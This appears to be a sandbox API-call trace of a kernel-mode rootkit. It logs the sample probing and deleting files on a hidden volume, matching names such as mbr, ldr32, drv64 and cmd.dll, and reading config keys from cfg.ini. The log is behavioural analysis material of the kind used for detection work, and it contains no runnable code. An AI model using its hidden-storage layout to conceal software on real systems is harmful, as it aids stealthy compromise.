[0093.291] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0093.291] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0093.292] KeEnterCriticalRegion () [0093.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.292] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0093.292] IdePortDispatch () returned 0x103 [0093.292] KeWaitForMutexObject () returned 0x0 [0093.292] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.292] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0093.292] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.292] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.292] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.292] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0093.292] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0093.292] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.292] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.292] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0093.292] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.292] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.292] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.292] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.292] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.292] KeLeaveCriticalRegion () [0093.292] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.292] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0093.292] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0093.292] KeEnterCriticalRegion () [0093.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.292] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0093.292] IdePortDispatch () returned 0x103 [0093.292] KeWaitForMutexObject () returned 0x0 [0093.293] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.293] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0093.293] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.293] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.293] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0093.293] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0093.293] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0093.293] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.293] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0093.293] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0093.293] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.293] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.293] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.293] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.293] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0093.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.293] KeLeaveCriticalRegion () [0093.293] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.293] ReleaseMutex (hMutex=0x100) returned 1 [0093.293] Sleep (dwMilliseconds=0x2bf20) [0105.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x62a40950, dwHighDateTime=0x1d24fa4)) [0105.684] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0105.684] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0105.684] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0105.684] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.684] KeEnterCriticalRegion () [0105.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0105.685] IdePortDispatch () returned 0x103 [0105.685] KeWaitForMutexObject () returned 0x0 [0105.685] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.685] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.685] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.685] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0105.685] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0105.685] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2aa0 [0105.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.685] KeLeaveCriticalRegion () [0105.685] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.685] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.685] KeEnterCriticalRegion () [0105.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.685] KeLeaveCriticalRegion () [0105.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.685] KeEnterCriticalRegion () [0105.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.686] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0105.686] IdePortDispatch () returned 0x103 [0105.686] KeWaitForMutexObject () returned 0x0 [0105.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.686] KeLeaveCriticalRegion () [0105.686] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.686] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.686] KeEnterCriticalRegion () [0105.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.687] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c49000 [0105.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.687] IdePortDispatch () returned 0x103 [0105.687] KeWaitForMutexObject () returned 0x0 [0105.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.687] IdePortDispatch () returned 0x103 [0105.688] KeWaitForMutexObject () returned 0x0 [0105.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.688] KeLeaveCriticalRegion () [0105.688] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.688] KeEnterCriticalRegion () [0105.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.688] KeLeaveCriticalRegion () [0105.688] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.688] KeEnterCriticalRegion () [0105.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.688] IoGetRequestorProcess (Irp=0xfffffa8003ad9c80) returned 0xfffffa80034fca60 [0105.688] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0105.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.689] KeLeaveCriticalRegion () [0105.689] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.689] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.689] KeEnterCriticalRegion () [0105.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.689] ExFreePoolWithTag (P=0xfffffa8003ad2aa0, Tag=0x0) [0105.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.689] KeLeaveCriticalRegion () [0105.689] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.689] ReleaseMutex (hMutex=0xf0) returned 1 [0105.689] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0105.689] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0105.689] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.689] KeEnterCriticalRegion () [0105.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.689] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0105.689] IdePortDispatch () returned 0x103 [0105.690] KeWaitForMutexObject () returned 0x0 [0105.690] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.690] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.690] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.690] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0105.690] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0105.690] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad4e20 [0105.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.690] KeLeaveCriticalRegion () [0105.690] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.690] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.690] KeEnterCriticalRegion () [0105.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.690] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.690] KeLeaveCriticalRegion () [0105.690] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.690] KeEnterCriticalRegion () [0105.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.690] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0105.690] IdePortDispatch () returned 0x103 [0105.691] KeWaitForMutexObject () returned 0x0 [0105.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.691] KeLeaveCriticalRegion () [0105.691] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.691] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.691] KeEnterCriticalRegion () [0105.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4c000 [0105.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.691] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.691] IdePortDispatch () returned 0x103 [0105.692] KeWaitForMutexObject () returned 0x0 [0105.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.692] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.692] IdePortDispatch () returned 0x103 [0105.692] KeWaitForMutexObject () returned 0x0 [0105.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.692] KeLeaveCriticalRegion () [0105.692] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.692] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.693] KeEnterCriticalRegion () [0105.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] KeLeaveCriticalRegion () [0105.693] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.693] KeEnterCriticalRegion () [0105.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] IoGetRequestorProcess (Irp=0xfffffa8003ad9c80) returned 0xfffffa80034fca60 [0105.693] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800809cd60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0105.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] KeLeaveCriticalRegion () [0105.693] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.693] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.693] KeEnterCriticalRegion () [0105.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] ExFreePoolWithTag (P=0xfffffa8003ad4e20, Tag=0x0) [0105.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] KeLeaveCriticalRegion () [0105.693] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.693] ReleaseMutex (hMutex=0xf0) returned 1 [0105.693] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0105.693] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0105.693] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.693] KeEnterCriticalRegion () [0105.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.693] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0105.694] IdePortDispatch () returned 0x103 [0105.694] KeWaitForMutexObject () returned 0x0 [0105.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.694] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.694] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0105.694] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0105.694] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0105.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2d80 [0105.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.695] KeLeaveCriticalRegion () [0105.695] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.695] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.695] KeEnterCriticalRegion () [0105.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003ad9c80, Context=0x0) returned 0x0 [0105.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.695] KeLeaveCriticalRegion () [0105.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.695] KeEnterCriticalRegion () [0105.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038bc390 [0105.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038bc390) [0105.695] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0105.695] IdePortDispatch () returned 0x103 [0105.695] KeWaitForMutexObject () returned 0x0 [0105.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0105.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.695] KeLeaveCriticalRegion () [0105.695] IofCompleteRequest (Irp=0xfffffa8003ad9c80, PriorityBoost=0) [0105.696] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0105.696] KeEnterCriticalRegion () [0105.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0105.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038bc390, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4e000 [0105.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003a9d640 [0105.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003a9d640 | out: Irp=0xfffffa8003a9d640) returned 0xfffffa80038a5010 [0105.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0105.696] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0105.696] IdePortDispatch () returned 0x103 [0105.698] KeWaitForMutexObject () returned 0x0 